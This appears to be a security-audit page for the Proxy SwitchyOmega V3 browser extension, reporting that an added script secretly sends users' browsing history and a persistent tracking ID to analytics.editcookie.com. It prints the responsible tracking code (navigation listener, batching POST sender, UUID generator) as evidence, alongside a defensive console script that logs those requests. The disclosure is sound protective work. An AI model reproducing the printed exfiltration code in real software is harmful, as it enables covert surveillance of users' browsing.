Is Proxy SwitchyOmega (V3) safe?
This extension lets you manage and switch between multiple proxy configurations from the browser.
It provides a popup and options page for saving proxy profiles, switching proxies with one click, and using Auto Switch rules to choose a proxy for specific websites. It supports proxy authentication, rule lists, and importing settings from earlier Switchy-related extensions.
Who publishes itMaster Tools - 1 other listing from the same operator, 1 of them carrying a finding
Master Tools - 1 other listing from the same operator, 1 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 412 users between them. 1 of them carries a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Browsing History Sent to analytics.editcookie.com on Every Page Visit
Every navigation, SwitchyOmega V3 sends the visited URL, referrer, timestamp, and a tracking ID to analytics.editcookie.com.
Data batches, flushing at 10 entries or 60s, regardless of proxy config.
Confirmed via four captured POSTs.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You navigate to any web page, any HTTP or HTTPS site.
The extension records the URL, the page you came from, the current time, and your permanent tracking ID, then posts them to analytics.editcookie.com.
This happens on every completed navigation, including pages unrelated to proxy use, without any notice in the extension's UI.
4 POST requests with browsing URL payloads captured during a ~3-minute session. All 6 extension-originated (the background service worker) requests in the session targeted exclusively analytics.editcookie.com.
- Content-Type
- application/json;charset=utf-8
{ "name": "SO", "data": [ { "url": "https://www.facebook.com/", "timestamp": 1776523028025, "user_id": "728c6b82b2144fee87fc75fc9ca574bb" }, { "url": "https://www.google.com/account/about/?hl=en-US", "timestamp": 1776523029520, "user_id": "728c6b82b2144fee87fc75fc9ca574bb" } ]}- Page you visitedhttps://www.facebook.com/
The full URL of every web page you navigate to, including path and query parameters.
- Page you came fromhttps://www.google.com/search?q=facebook+login
The URL of the previous page you were on, builds a chain of your browsing activity.
- Timestamp1776523028025
The exact millisecond each page was visited.
- Your tracking ID728c6b82b2144fee87fc75fc9ca574bb
A persistent identifier unique to your browser profile, included in every request so your visits can be linked across sessions and devices.
The code responsible, from the extension's page_statistics.js:
Navigation listener — fires on every completed page load
// Every time a tab finishes loading a page, this listener fires.// It resolves the referrer from tab state, then calls reportAction().chrome.tabs.onUpdated.addListener((tabId, changes, { url, openerTabId }) => { if (changes.status === 'complete') { const info = tabInfo(tabId); let referrer = info.url; // previous URL on this tab // ... opener/referrer resolution ... if (isValidPage(url) && url !== referrer && lastReport !== url + tabId) { reportAction(url, referrer); // queues a record for exfil lastReport = url + tabId; } tabs[tabId] = { url }; }});SendData class — batches records and POSTs them
// Collects navigation records and sends them to analytics.editcookie.com.// Flushes when 10 records accumulate OR every 60 seconds.class SendData { constructor() { this.server_url = 'https://analytics.editcookie.com/'; this.maxQueueSize = 10; // flush at 10 records this.maxTime = 60_000; // or every 60 seconds // ... this._timer(5000); // checks every 5 seconds } async _send(data) { await fetch(this.server_url + '/submit', { method: 'POST', headers: { 'Content-Type': 'application/json;charset=utf-8' }, body: JSON.stringify({ name: 'SO', data }), // 'SO' = SwitchyOmega }); }}Record format — what gets queued per page visit
// Each navigation pushes one record onto the queue.async function reportAction(url, referrer) { sendData.push({ url: url, // the page you visited referrer: referrer, // where you came from timestamp: Date.now(), user_id: userId, // persistent UUID from chrome.storage.sync });}- analytics.editcookie.com
Receives every browsing URL and referrer via POST /submit. editcookie.com hosts the unrelated 'Edit Cookie' extension, not part of SwitchyOmega's proxy purpose.
Intercepts fetch() calls in the extension's service worker and logs any requests to analytics.editcookie.com to the console, letting you confirm the exfiltration without external tools.
- Chrome with Developer mode enabled
// proxy-switchyomega-traffic-check.js// Paste into the DevTools console of the Proxy SwitchyOmega service worker// to observe outbound analytics requests in real time.(function () { const originalFetch = self.fetch.bind(self); self.fetch = async function (input, init) { const url = typeof input === 'string' ? input : input.url; if (url.includes('analytics.editcookie.com')) { let body = '(no body)'; try { body = init && init.body ? JSON.parse(init.body) : '(no body)'; } catch {} console.warn('[PSO-TRACKER] Outbound analytics request:', url, body); } return originalFetch(input, init); }; console.log('[PSO-TRACKER] Installed. Navigate to any page to capture analytics requests.');})();- 1Open chrome://extensions, enable Developer mode.
- 2Find SwitchyOmega V3, click 'Service Worker' for DevTools.
- 3Paste this script into Console, Enter.
- 4Visit any site. Watch [PSO-TRACKER] lines for the URL and payload sent.
Persistent Tracking UUID Synced via chrome.storage.sync Across Sessions
On first run, SwitchyOmega V3 generates a UUID stored in storage.sync under 'user_id', tying it to your Google account across devices.
It rides every POST to analytics.editcookie.com, confirmed at startup and in all four captured POSTs.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-200
- Source
- Dynamic sandbox
You install Proxy SwitchyOmega V3 for the first time.
The extension generates a permanent tracking identifier and saves it to chrome.storage.sync, where Chrome automatically syncs it to every device logged into your Google account.
From then on, this identifier is attached to every browsing-history record the extension sends to analytics.editcookie.com.
Read from storage.sync at startup, appeared in all four POSTs. Storage.sync copies it to any device signed into the same Google account.
- Location
- chrome.storage.sync key 'user_id'
728c6b82b2144fee87fc75fc9ca574bbUUID generation and storage from page_statistics.js:
UUID retrieval and creation — annotated
// On every startup: read the tracking UUID from chrome.storage.sync.// If not present (first install), generate one and save it.async function getUserIdFromStore() { const result = await chrome.storage.sync.get(['user_id']); let uuid = result['user_id']; if (uuid) { return uuid; // already exists — reuse the same ID forever } // First run: make a new UUID and persist it uuid = makeUUID(); await chrome.storage.sync.set({ user_id: uuid }); // syncs to Google account return uuid;}// Produces a 32-char hex UUID-like string using Math.random().// Note: not cryptographically random, but sufficient for tracking.function makeUUID() { return 'xxxxxxxxxxxx4xxxyxxxxxxxxxxxxxxx'.replace(/[xy]/g, function (c, offset) { return (c === 'x' ? (16 * Math.random()) | 0 : (3 & offset) | 8).toString(16); });}- Your tracking ID (user_id)728c6b82b2144fee87fc75fc9ca574bb
A permanent identifier generated once and reused in every upload, tying your visits across sessions and devices to one profile.
- Page visited (url)https://www.facebook.com/
The full URL of the page, transmitted alongside the user_id so the server can associate each visit with your persistent profile.
- Timestamp1776523028025
The millisecond timestamp of the visit, lets the server reconstruct your browsing timeline.
- analytics.editcookie.com
Receives the persistent UUID with every visited URL via POST /submit. editcookie.com is tied to a separate extension, 'Edit Cookie', unrelated to SwitchyOmega's proxy function.
Browsing Data Sent to Unrelated Third-Party Domain Not Disclosed in Listing
SwitchyOmega V3 presents as a proxy utility with no analytics in its listing.
Its source adds page_statistics.js, absent upstream, sending URLs and a UUID to analytics.editcookie.com.
All 6 session requests went there, no proxy traffic.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-319
- Source
- Dynamic sandbox
You install Proxy SwitchyOmega V3, expecting a proxy-management tool.
The extension sends your full browsing history to analytics.editcookie.com, a domain owned by the publishers of a separate extension, not related to any proxy functionality.
The Chrome Web Store listing does not disclose this data collection. The page_statistics.js file that performs it does not appear in the original open-source Proxy SwitchyOmega repository.
x-background.js shows page_statistics.js appended after all legitimate extension modules:
The same file, annotated — page_statistics.js is the sole addition
// Service worker entry point for Proxy SwitchyOmega V3.// All imports up to background.js are standard proxy-management modules.import "./js/background_preload.js" // standardimport "./idb-keyval.js" // standardimport "./localstorage-polyfill.js" // standardimport "./csso.js" // standardimport "./js/log_error.js" // standardimport "./js/omega_debug.js" // standardimport "./js/omega_pac.min.js" // standardimport "./js/omega_target.min.js" // standardimport "./js/omega_target_chromium_extension.min.js" // standardimport "./img/icons/draw_omega.js" // standardimport "./js/background.js" // standardimport "./page_statistics.js" // <-- NOT in the original open-source repoAll 6 extension-originated (the background service worker) network requests during the dynamic analysis session targeted analytics.editcookie.com/submit. No requests to proxy configuration endpoints, PAC file servers, or any other destination were observed.
- Content-Type
- application/json;charset=utf-8
{ "name": "SO", "data": [ { "url": "https://www.facebook.com/", "timestamp": 1776523028025, "user_id": "728c6b82b2144fee87fc75fc9ca574bb" } ]}- analytics.editcookie.com
Sole observed destination. Receives visited URLs, referrers, timestamps, and a tracking UUID. editcookie.com is tied to the 'Edit Cookie' extension, unrelated to proxy switching.
During the dynamic analysis session, the extension's service worker made six network requests — all to analytics.editcookie.com. No requests were made to proxy configuration servers, PAC file endpoints, or any destination related to the proxy-switching functionality the extension is listed as providing. We cannot conclude from a single session that the proxy functionality is non-functional, but all captured traffic was attributable solely to the analytics module.
What it can do
Permissions this extension asks for, as declared in version 3.0.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
Route all of your browsing through a server of its choosing
proxy
See the address and title of every tab you have open
tabs
Schedule its own background tasks
alarms
Store data in your browser
storage
Watch every request your browser makes
webRequest
Add items to the right-click menu
contextMenus